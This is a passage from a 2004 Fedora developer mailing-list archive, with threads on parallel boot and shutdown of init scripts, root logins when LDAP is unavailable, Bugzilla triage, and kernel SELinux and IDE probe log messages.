relocation from .uk->.us. It'll pick up again soon. From NOS at Utel.no Thu Oct 21 15:13:22 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Thu, 21 Oct 2004 17:13:22 +0200 Subject: Paralell startup In-Reply-To: <000601c4b5f6$ec498540$14aaa8c0@utelsystems.local> References: <000601c4b5f6$ec498540$14aaa8c0@utelsystems.local> Message-ID: <4177D212.30608@Utel.no> Kyrre Ness Sjobak wrote: > I am hearing much good from the gentoo camp about paralell startup, and > how it brings down boot times to about 30 secounds. Is this possible to > do with fedora as well? Timed my box now, 38 seconds to the gdm login shows from I hit enter in grub. Not that bad imho. From tdiehl at rogueind.com Thu Oct 21 15:15:44 2004 From: tdiehl at rogueind.com (Tom Diehl) Date: Thu, 21 Oct 2004 11:15:44 -0400 (EDT) Subject: Lock screen does not work for root in gnome In-Reply-To: <1098370734.16036.0.camel@binkley> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> Message-ID: On Thu, 21 Oct 2004, seth vidal wrote: > On Thu, 2004-10-21 at 10:51 -0400, Colin Walters wrote: > > On Thu, 2004-10-21 at 05:53 -0400, Alan Cox wrote: > > > On Mon, Oct 18, 2004 at 08:27:18PM -0400, Havoc Pennington wrote: > > > > I agree with you, fwiw. Any reason to need to log in as root is a bug. > > > > > > Then gdm is a bug 8) You need root login when things like ldap go away otherwise > > > you can't login. > > > > A lot of sites using LDAP probably also use NFS (or otherwise networked) > > home directories, and so if you can't contact the LDAP server, you're > > unlikely to be able to get to the NFS server either, and thus you don't > > have any access to your data. So what use is it to log in as root? > > Because root can typically login b/c: > root account/pw is local > root homedir is local > root can fix the problem if it's just a futzed network adapter. +1 Tom From skvidal at phy.duke.edu Thu Oct 21 15:22:09 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 21 Oct 2004 11:22:09 -0400 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021151332.GD26170@redhat.com> References: <20041021151332.GD26170@redhat.com> Message-ID: <1098372129.16288.0.camel@binkley> > > Because the amount of code changed upstream since your > last report means this might be fixed. > > Bugs that get no replies doesn't mean no-one is listening.[*] Doesn't _necessarily_ mean no one is listening. But it could :) -sv From nphilipp at redhat.com Thu Oct 21 15:38:06 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 21 Oct 2004 17:38:06 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> Message-ID: <1098373087.15825.39.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-10-21 at 11:15 -0400, Tom Diehl wrote: > On Thu, 21 Oct 2004, seth vidal wrote: > > > On Thu, 2004-10-21 at 10:51 -0400, Colin Walters wrote: > > > On Thu, 2004-10-21 at 05:53 -0400, Alan Cox wrote: > > > > On Mon, Oct 18, 2004 at 08:27:18PM -0400, Havoc Pennington wrote: > > > > > I agree with you, fwiw. Any reason to need to log in as root is a bug. > > > > > > > > Then gdm is a bug 8) You need root login when things like ldap go away otherwise > > > > you can't login. > > > > > > A lot of sites using LDAP probably also use NFS (or otherwise networked) > > > home directories, and so if you can't contact the LDAP server, you're > > > unlikely to be able to get to the NFS server either, and thus you don't > > > have any access to your data. So what use is it to log in as root? > > > > Because root can typically login b/c: > > root account/pw is local > > root homedir is local > > root can fix the problem if it's just a futzed network adapter. > > +1 root should just login on the console, then startx and be happy. That'd be my version of "safe mode" anyway ;-P. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From davej at redhat.com Thu Oct 21 15:43:18 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 21 Oct 2004 11:43:18 -0400 Subject: vesafb-tng and kernel. In-Reply-To: <1098370722.30842.0.camel@DemonLinux> References: <1098370722.30842.0.camel@DemonLinux> Message-ID: <20041021154318.GJ26170@redhat.com> On Thu, Oct 21, 2004 at 04:58:42PM +0200, DemonGloom wrote: > Will be included vesafb-tng path (fix 60 hz in console) in fedora > kernel? Not unless it goes upstream first. (and for FC3, no. That's frozen now) Dave From chrisw at osdl.org Thu Oct 21 15:59:40 2004 From: chrisw at osdl.org (Chris Wright) Date: Thu, 21 Oct 2004 08:59:40 -0700 Subject: Security alert message on startup In-Reply-To: <4177C70D.9090408@wowway.com>; from dnjinc@wowway.com on Thu, Oct 21, 2004 at 10:26:21AM -0400 References: <4177C70D.9090408@wowway.com> Message-ID: <20041021085940.X2357@build.pdx.osdl.net> * Demond James (dnjinc at wowway.com) wrote: > This has been happening for a while but I haven't seen it reported here. > > kernel: Security Scaffold v1.0.0 initialized > kernel: SELinux: Initializing. > kernel: SELinux: Starting in permissive mode > kernel: There is already a security framework initialized, > register_security failed. > kernel: selinux_register_security: Registering secondary module > capability Thanks for the reminder, that's not an error, but an informational message, I'll patch it upstream. thanks, -chris -- Linux Security Modules http://lsm.immunix.org http://lsm.bkbits.net From mattdm at mattdm.org Thu Oct 21 16:02:11 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 21 Oct 2004 12:02:11 -0400 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021151332.GD26170@redhat.com> References: <20041021151332.GD26170@redhat.com> Message-ID: <20041021160211.GA28594@jadzia.bu.edu> On Thu, Oct 21, 2004 at 11:13:33AM -0400, Dave Jones wrote: > Because the amount of code changed upstream since your > last report means this might be fixed. > Bugs that get no replies doesn't mean no-one is listening.[*] It'd be nice if Red Hat would have someone whose job was to be a Bugzilla Monkey, to make sure people feel like their reports are valued, to do triage, and to make sure critical problems don't escape notice. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From walters at redhat.com Thu Oct 21 16:04:32 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 21 Oct 2004 12:04:32 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098370734.16036.0.camel@binkley> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> Message-ID: <1098374672.16197.23.camel@decepticon.boston.redhat.com> On Thu, 2004-10-21 at 10:58 -0400, seth vidal wrote: > Because root can typically login b/c: > root account/pw is local > root homedir is local Yes, I understand why root can log in in this scenario, on a technical level. I'm questioning its usefulness. > root can fix the problem if it's just a futzed network adapter. You expect normal users in an LDAP setup to be able to debug their network adapter? And for sysadmins to want to give them the root password just for this scenario in the first place? From davej at redhat.com Thu Oct 21 16:07:15 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 21 Oct 2004 12:07:15 -0400 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021160211.GA28594@jadzia.bu.edu> References: <20041021151332.GD26170@redhat.com> <20041021160211.GA28594@jadzia.bu.edu> Message-ID: <20041021160715.GN26170@redhat.com> On Thu, Oct 21, 2004 at 12:02:11PM -0400, Matthew Miller wrote: > On Thu, Oct 21, 2004 at 11:13:33AM -0400, Dave Jones wrote: > > Because the amount of code changed upstream since your > > last report means this might be fixed. > > Bugs that get no replies doesn't mean no-one is listening.[*] > > It'd be nice if Red Hat would have someone whose job was to be a Bugzilla > Monkey, to make sure people feel like their reports are valued, to > do triage, and to make sure critical problems don't escape notice. There are a number of problems. 1) the sheer volume of bug reports mean that its probably going to need >1 person doing triage work 2) a lot of bugs require context of what changed recently (which means unless the triager is also doing some of the work, they won't know) Dave From notting at redhat.com Thu Oct 21 16:18:13 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 21 Oct 2004 12:18:13 -0400 Subject: Parallel Shutdown (was Re: Paralell startup) In-Reply-To: <200410211259.55522.symbiont@berlios.de> References: <1098202227.2734.23.camel@kyrre> <200410210140.33799.symbiont@berlios.de> <1098294314.2732.27.camel@kyrre> <200410211259.55522.symbiont@berlios.de> Message-ID: <20041021161813.GA17413@nostromo.devel.redhat.com> Jeff Pitman (symbiont at berlios.de) said: > Shutdown can be made much faster then it is right now. Most processes > take a normal SIGINT (killall, pkill) and it will clean up. Exactly... what's needed is a simple list of what services are known to shutdown cleanly if they're just whacked by init/killall (as opposed to something like a database, or some other app that needs to save state.) Then, we don't even need to run the shutdown scripts for those apps. (Obviously, this is a whitelist scenario; any service that doesn't claim this property needs to be shut down in the 'normal' way.) Bill From michael at insitesinc.com Thu Oct 21 16:22:36 2004 From: michael at insitesinc.com (Michael Favia) Date: Thu, 21 Oct 2004 11:22:36 -0500 Subject: Paralell startup In-Reply-To: <41777F75.8060404@redhat.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> <604aa79104102014094a397107@mail.gmail.com> <0687A3DEE8748B522BA84319@[10.169.6.246]> <41774B74.4050608@insitesinc.com> <41777F75.8060404@redhat.com> Message-ID: <4177E24C.2010208@insitesinc.com> Harald Hoyer wrote: > > Keep in mind, that for a login, you need network services in some > environments (NIS, kerberos, ...) > So the dependencies have to check for these needs also. > And should register as such. I dont know if this is required on install or if this can be modified when kerberos/NIS is enabled somehow (to save the greatest number of people the greatest amount of time).regardless you need network to verify proper login not to display a login screen. Many times it takes people seconds if not minutes to login. My suggestion is give them the ability to enter their information and hold off checking it after they submit it till the required network infrastructure exists. -mf From fedora at wir-sind-cool.org Thu Oct 21 16:38:56 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Thu, 21 Oct 2004 18:38:56 +0200 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021160211.GA28594@jadzia.bu.edu> References: <20041021151332.GD26170@redhat.com> <20041021160211.GA28594@jadzia.bu.edu> Message-ID: <20041021183856.2a37b959.fedora@wir-sind-cool.org> On Thu, 21 Oct 2004 12:02:11 -0400, Matthew Miller wrote: > On Thu, Oct 21, 2004 at 11:13:33AM -0400, Dave Jones wrote: > > Because the amount of code changed upstream since your > > last report means this might be fixed. > > Bugs that get no replies doesn't mean no-one is listening.[*] > > It'd be nice if Red Hat would have someone whose job was to be a Bugzilla > Monkey, to make sure people feel like their reports are valued, to > do triage, and to make sure critical problems don't escape notice. Wow! That would need to be a real expert, because many bug reports require a lot of insight into the affected component in order to decide whether a bug report is good or NOTABUG (i.e. due to misconfiguration, h/w instability, unofficial upgrades and replaced packages, for instance). Very often it's really just the developers who know what has changed recently or whether something is supposed to work or should be supported. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 0.30 0.13 0.09 From tamaster at gmail.com Thu Oct 21 16:41:42 2004 From: tamaster at gmail.com (Greg Houlette) Date: Thu, 21 Oct 2004 11:41:42 -0500 Subject: [OT] Skeleton at the (fedora-extras-announce-list) moderator's keyboard ; p Message-ID: <53db5a4004102109416035666c@mail.gmail.com> I apologize in advance for adding to your e-mail load. > Your mail to 'fedora-extras-announce-list' [...] > Is being held until the list moderator can review it for approval. > The reason it is being held: > Post to moderated list > Either the message will get posted to the list, or you will receive > notification of the moderator's decision. How long should this normally take? Could someone kick the Moderator under the table? --- This list is mentioned in the Fedora Wiki as the place to post new (extras) package announcements. I know that the list is active because I can subscribe to it, but the archives are empty: http://www.redhat.com/archives/fedora-extras-announce-list/ This list is moderated, so is there a warm body assigned? The old list at: http://www.fedora.us/pipermail/fedora-package-announce/ hasn't seen any traffic since mid August (AFAICT), so it seems like Fedora extras package announcements are in a 'Black Hole', unless there is another list somewhere that I don't know about yet. What's up? I have a new extras package that I want to announce (rkhunter) so that it can get some valuable run-time on a larger population of users. -- ------------------------------------------------------------------------- Greg Houlette * Give me the graphical UI Do you know who owns your network today? * that will "condense fact GPG 1.2.3 Public Keys available upon request * from the vapor of nuance" From symbiont at berlios.de Thu Oct 21 16:46:00 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Fri, 22 Oct 2004 00:46:00 +0800 Subject: Parallel Shutdown (was Re: Paralell startup) In-Reply-To: <20041021161813.GA17413@nostromo.devel.redhat.com> References: <1098202227.2734.23.camel@kyrre> <200410211259.55522.symbiont@berlios.de> <20041021161813.GA17413@nostromo.devel.redhat.com> Message-ID: <200410220046.00907.symbiont@berlios.de> On Friday 22 October 2004 00:18, Bill Nottingham wrote: > as opposed > to something like a database, or some other app that needs to save > state. I think we'd surprised about the robustness of SIGINT. MySQL: /bin/kill `cat /var/run/mysqld/mysqld.pid 2> /dev/null ` > /dev/null 2>&1 PostGRE: su -l postgres -s /bin/sh -c "/usr/bin/pg_ctl stop -D $PGDATA -s -m fast" > /dev/null 2>&1 Probably for transaction rollback and client disconnect, I dunno, I'm not a DB yoda. But, then again you'd hope things have acquiesced on the server and you've notified your users such that just nuking it's not an issue... I think most state saving is mainly a distro-centric thing: pid files, lock files in /var/run. And little hidden files pooped onto or wiped from the filesystem on the way out: /.autofsck, etc. -- -jeff From alan at redhat.com Thu Oct 21 17:10:58 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 21 Oct 2004 13:10:58 -0400 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021160211.GA28594@jadzia.bu.edu> References: <20041021151332.GD26170@redhat.com> <20041021160211.GA28594@jadzia.bu.edu> Message-ID: <20041021171058.GB23612@devserv.devel.redhat.com> On Thu, Oct 21, 2004 at 12:02:11PM -0400, Matthew Miller wrote: > It'd be nice if Red Hat would have someone whose job was to be a Bugzilla > Monkey, to make sure people feel like their reports are valued, to > do triage, and to make sure critical problems don't escape notice. Some of us internally have been lobbying for this kind of setup too 8) It does get done for RHEL but not currently Fedora From i.pilcher at comcast.net Thu Oct 21 17:19:31 2004 From: i.pilcher at comcast.net (Ian Pilcher) Date: Thu, 21 Oct 2004 12:19:31 -0500 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021151332.GD26170@redhat.com> References: <20041021151332.GD26170@redhat.com> Message-ID: Dave Jones wrote: >> > > > Please take a look at > > > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127862 > > > > and tell me why I should bother filing bug reports. > > Because the amount of code changed upstream since your > last report means this might be fixed. Thanks for the response. Given that nothing changed between test 1, test 2, and test 3, I'm not feeling really optimistic at the moment. -- ======================================================================== Ian Pilcher i.pilcher at comcast.net ======================================================================== From skvidal at phy.duke.edu Thu Oct 21 17:31:23 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 21 Oct 2004 13:31:23 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098373087.15825.39.camel@gibraltar.stuttgart.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> <1098373087.15825.39.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1098379883.19108.4.camel@opus.phy.duke.edu> > root should just login on the console, then startx and be happy. That'd > be my version of "safe mode" anyway ;-P. Maybe I got confused, but that's all I was suggesting. root logins at the console. I thought I read that someone was suggesting no root logins from anywhere. -sv From skvidal at phy.duke.edu Thu Oct 21 17:32:37 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 21 Oct 2004 13:32:37 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098374672.16197.23.camel@decepticon.boston.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> <1098374672.16197.23.camel@decepticon.boston.redhat.com> Message-ID: <1098379957.19108.7.camel@opus.phy.duke.edu> > Yes, I understand why root can log in in this scenario, on a technical > level. I'm questioning its usefulness. You're questioning the usefulness of root logging in from the console? If I go to a users machine that has hosed up b/c something went stupid with a network driver, I'd like to be able to login. drop the device, bring it back up and not have to reboot the machine. > You expect normal users in an LDAP setup to be able to debug their > network adapter? And for sysadmins to want to give them the root > password just for this scenario in the first place? I was arguing against what I _thought_ I read, which was getting rid of ALL root logins. Including tty. -sv From walters at redhat.com Thu Oct 21 17:46:33 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 21 Oct 2004 13:46:33 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098379957.19108.7.camel@opus.phy.duke.edu> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> <1098374672.16197.23.camel@decepticon.boston.redhat.com> <1098379957.19108.7.camel@opus.phy.duke.edu> Message-ID: <1098380793.16197.56.camel@decepticon.boston.redhat.com> On Thu, 2004-10-21 at 13:32 -0400, seth vidal wrote: > I was arguing against what I _thought_ I read, which was getting rid of > ALL root logins. Including tty. No no, just gdm basically. From tdiehl at rogueind.com Thu Oct 21 18:02:25 2004 From: tdiehl at rogueind.com (Tom Diehl) Date: Thu, 21 Oct 2004 14:02:25 -0400 (EDT) Subject: Lock screen does not work for root in gnome In-Reply-To: <1098380793.16197.56.camel@decepticon.boston.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> <1098374672.16197.23.camel@decepticon.boston.redhat.com> <1098379957.19108.7.camel@opus.phy.duke.edu> <1098380793.16197.56.camel@decepticon.boston.redhat.com> Message-ID: On Thu, 21 Oct 2004, Colin Walters wrote: > On Thu, 2004-10-21 at 13:32 -0400, seth vidal wrote: > > > I was arguing against what I _thought_ I read, which was getting rid of > > ALL root logins. Including tty. > > No no, just gdm basically. I had the same impression as Seth. I do not care about gdm. What I care about is being able to login as root on any machine ldap is for whatever reason unavailable. Last time I tried it was not possible to login at all if ldap is not available. Granted I have not tried in a while and maybe this is fixed but it used to be a problem. Regards, Tom From notting at redhat.com Thu Oct 21 18:19:58 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 21 Oct 2004 14:19:58 -0400 Subject: Parallel Shutdown (was Re: Paralell startup) In-Reply-To: <200410220046.00907.symbiont@berlios.de> References: <1098202227.2734.23.camel@kyrre> <200410211259.55522.symbiont@berlios.de> <20041021161813.GA17413@nostromo.devel.redhat.com> <200410220046.00907.symbiont@berlios.de> Message-ID: <20041021181957.GA18584@nostromo.devel.redhat.com> Jeff Pitman (symbiont at berlios.de) said: > I think we'd surprised about the robustness of SIGINT. > > MySQL: > /bin/kill `cat /var/run/mysqld/mysqld.pid 2> /dev/null ` > /dev/null > 2>&1 That could be easily done in this case by killall/init... > PostGRE: > su -l postgres -s /bin/sh -c "/usr/bin/pg_ctl stop -D $PGDATA -s -m > fast" > /dev/null 2>&1 That, not so much. Bill From Nicolas.Mailhot at laPoste.net Thu Oct 21 19:10:19 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Thu, 21 Oct 2004 21:10:19 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098370291.16197.6.camel@decepticon.boston.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> Message-ID: <1098385819.3234.2.camel@rousalka.dyndns.org> Le jeudi 21 octobre 2004 ? 10:51 -0400, Colin Walters a ?crit : > A lot of sites using LDAP probably also use NFS (or otherwise networked) > home directories, and so if you can't contact the LDAP server, you're > unlikely to be able to get to the NFS server either, and thus you don't > have any access to your data. So what use is it to log in as root? Fix your nfs/ldap conf and put the system back online. If ldap/nfs is dead it's not always a problem server-side (esp. with rawhide clients;) Though those steps should definitely not require X-with-root Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From mattdm at mattdm.org Thu Oct 21 19:13:27 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 21 Oct 2004 15:13:27 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: References: <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> <1098370734.16036.0.camel@binkley> <1098374672.16197.23.camel@decepticon.boston.redhat.com> <1098379957.19108.7.camel@opus.phy.duke.edu> <1098380793.16197.56.camel@decepticon.boston.redhat.com> Message-ID: <20041021191326.GA3472@jadzia.bu.edu> On Thu, Oct 21, 2004 at 02:02:25PM -0400, Tom Diehl wrote: > I had the same impression as Seth. I do not care about gdm. What I > care about is being able to login as root on any machine ldap is for whatever > reason unavailable. Last time I tried it was not possible to login at all > if ldap is not available. Granted I have not tried in a while and maybe > this is fixed but it used to be a problem. It's fixed (or at least, worked-around) for for UIDs < 100. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From Nicolas.Mailhot at laPoste.net Thu Oct 21 19:16:05 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Thu, 21 Oct 2004 21:16:05 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <604aa791041021062815fa4b07@mail.gmail.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098352934.15825.3.camel@gibraltar.stuttgart.redhat.com> <604aa791041021062815fa4b07@mail.gmail.com> Message-ID: <1098386165.3234.6.camel@rousalka.dyndns.org> Le jeudi 21 octobre 2004 ? 09:28 -0400, Jeff Spaleta a ?crit : > On Thu, 21 Oct 2004 12:02:13 +0200, Nils Philippsen wrote: > > Although you don't necessarily need a graphical login. > > I'm not sure I like using the argument that expects people to use a > console login in which they are unfamiliar to the tools. As more and > more wizardy Setting Setting tools get developer to ease the task of > administration on for subsystems, you have to expect less proficiency > at the commandline among admins in the userbase overall. If openldap > authing can be configured without stepping foot into consoleland, > having a way to troubleshoot common configuration failure modes of > openldap without dropping to console would seem appriopriate. However X can cash too (esp if fixed is served via remote xfs and the betworking is dead). All too often the developer of the latest gfx admin gimick forgets to bring the curses interface to parity, which is a majot PITA when X fails (or remote X fails; etc) Regards, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From kyrre at solution-forge.net Thu Oct 21 19:20:07 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 21 Oct 2004 21:20:07 +0200 Subject: Paralell startup In-Reply-To: <4177E24C.2010208@insitesinc.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> <604aa79104102014094a397107@mail.gmail.com> <0687A3DEE8748B522BA84319@[10.169.6.246]> <41774B74.4050608@insitesinc.com> <41777F75.8060404@redhat.com> <4177E24C.2010208@insitesinc.com> Message-ID: <1098386407.4125.5.camel@kyrre> tor, 21.10.2004 kl. 18.22 skrev Michael Favia: > Harald Hoyer wrote: > > > > > Keep in mind, that for a login, you need network services in some > > environments (NIS, kerberos, ...) > > So the dependencies have to check for these needs also. > > > And should register as such. I dont know if this is required on install > or if this can be modified when kerberos/NIS is enabled somehow (to save > the greatest number of people the greatest amount of time).regardless > you need network to verify proper login not to display a login screen. > Many times it takes people seconds if not minutes to login. My > suggestion is give them the ability to enter their information and hold > off checking it after they submit it till the required network > infrastructure exists. > -mf ...or simply "gray out" (ie not activate) the GDM login prompt before network etc is up... From dnjinc at wowway.com Thu Oct 21 20:02:50 2004 From: dnjinc at wowway.com (Demond James) Date: Thu, 21 Oct 2004 16:02:50 -0400 Subject: Kernel Startup Log alatrt: ide probe fail Message-ID: <417815EA.7010106@wowway.com> Is it normal for the kernel to try to probe IDE interfaces that don't exist? Anyone else have get these messages? Nothing adverse happens, not that I can see anyway. ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx SIS5513: IDE controller at PCI slot 0000:00:02.5 SIS5513: chipset revision 208 SIS5513: not 100% native mode: will probe irqs later SIS5513: SiS735 ATA 100 (2nd gen) controller ide0: BM-DMA at 0xff00-0xff07, BIOS settings: hda:DMA, hdb:DMA ide1: BM-DMA at 0xff08-0xff0f, BIOS settings: hdc:DMA, hdd:DMA Probing IDE interface ide0... hda: WDC WD800JB-00FMA0, ATA DISK drive Using cfq io scheduler ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 Probing IDE interface ide1... hdc: DVD-RW IDE1008, ATAPI CD/DVD-ROM drive hdd: PLEXTOR CD-R PX-W1610A, ATAPI CD/DVD-ROM drive ide1 at 0x170-0x177,0x376 on irq 15 Probing IDE interface ide2... ide2: Wait for ready failed before probe ! Probing IDE interface ide3... ide3: Wait for ready failed before probe ! Probing IDE interface ide4... ide4: Wait for ready failed before probe ! Probing IDE interface ide5... ide5: Wait for ready failed before probe ! From nphilipp at redhat.com Thu Oct 21 20:27:22 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 21 Oct 2004 22:27:22 +0200 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: References: <20041021151332.GD26170@redhat.com> Message-ID: <1098390442.5337.6.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-10-21 at 12:19 -0500, Ian Pilcher wrote: > Dave Jones wrote: > >> > > > > Please take a look at > > > > > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127862 > > > > > > and tell me why I should bother filing bug reports. > > > > Because the amount of code changed upstream since your > > last report means this might be fixed. > > Thanks for the response. Given that nothing changed between test 1, > test 2, and test 3, I'm not feeling really optimistic at the moment. Given that (literally) nothing changed between test2 and test3 kernel- wise (in the real test releases, not Rawhide) and the kernel was rebased on 2.6.9 afterwards, you still might want to try -1.640 ;-) -- though how you'd get the new kernel on the installation media is a bit beyond me. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From hp at redhat.com Thu Oct 21 20:55:47 2004 From: hp at redhat.com (Havoc Pennington) Date: Thu, 21 Oct 2004 16:55:47 -0400 Subject: Paralell startup In-Reply-To: <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> Message-ID: <1098392147.11626.8.camel@localhost.localdomain> On Wed, 2004-10-20 at 08:55 -0400, Tim Daly wrote: > >> I am hearing much good from the gentoo camp about paralell startup, and > >> how it brings down boot times to about 30 secounds. Is this possible to > >> do with fedora as well? > > > >Gentoo, instead of numeric order of service startup which we have in > >fedora, implements service dependencies. With dependencies it is pure > >implementation detail to have system startup in parallel. > > > >I doubt if anyone with @redhat.com suffix will consider reworking > >initscripts to mind service dependencies ... > > sure sounds like a job for makefile. even with numbered tasks it should > be possible to construct a makefile that would handle it. indeed, i > believe pmake will handle the parallelization issues. Makefile isn't the way to go, it has the same problem as shell scripts: error reporting and fine-grained control isn't very easy. With something like D-BUS involved it's far easier to e.g. have GUI for progress meters, starting/stopping services, display meaningful error messages, and so forth. You also avoid some of the yucky issues such as stuck PID files. Basically it's a lot more deterministic and extensible. Havoc From elanthis at awesomeplay.com Thu Oct 21 20:58:12 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Thu, 21 Oct 2004 16:58:12 -0400 Subject: Paralell startup In-Reply-To: <1098392147.11626.8.camel@localhost.localdomain> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <1098392147.11626.8.camel@localhost.localdomain> Message-ID: <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> On Thu, 2004-10-21 at 16:55 -0400, Havoc Pennington wrote: > With something like D-BUS involved it's far easier to e.g. have GUI for > progress meters, starting/stopping services, display meaningful error > messages, and so forth. You also avoid some of the yucky issues such as > stuck PID files. Basically it's a lot more deterministic and extensible. Wasn't Seth (Nickell?) working on a Python/D-BUS init system prototype a while back? What happened to that? > > Havoc > > -- Sean Middleditch AwesomePlay Productions, Inc. From 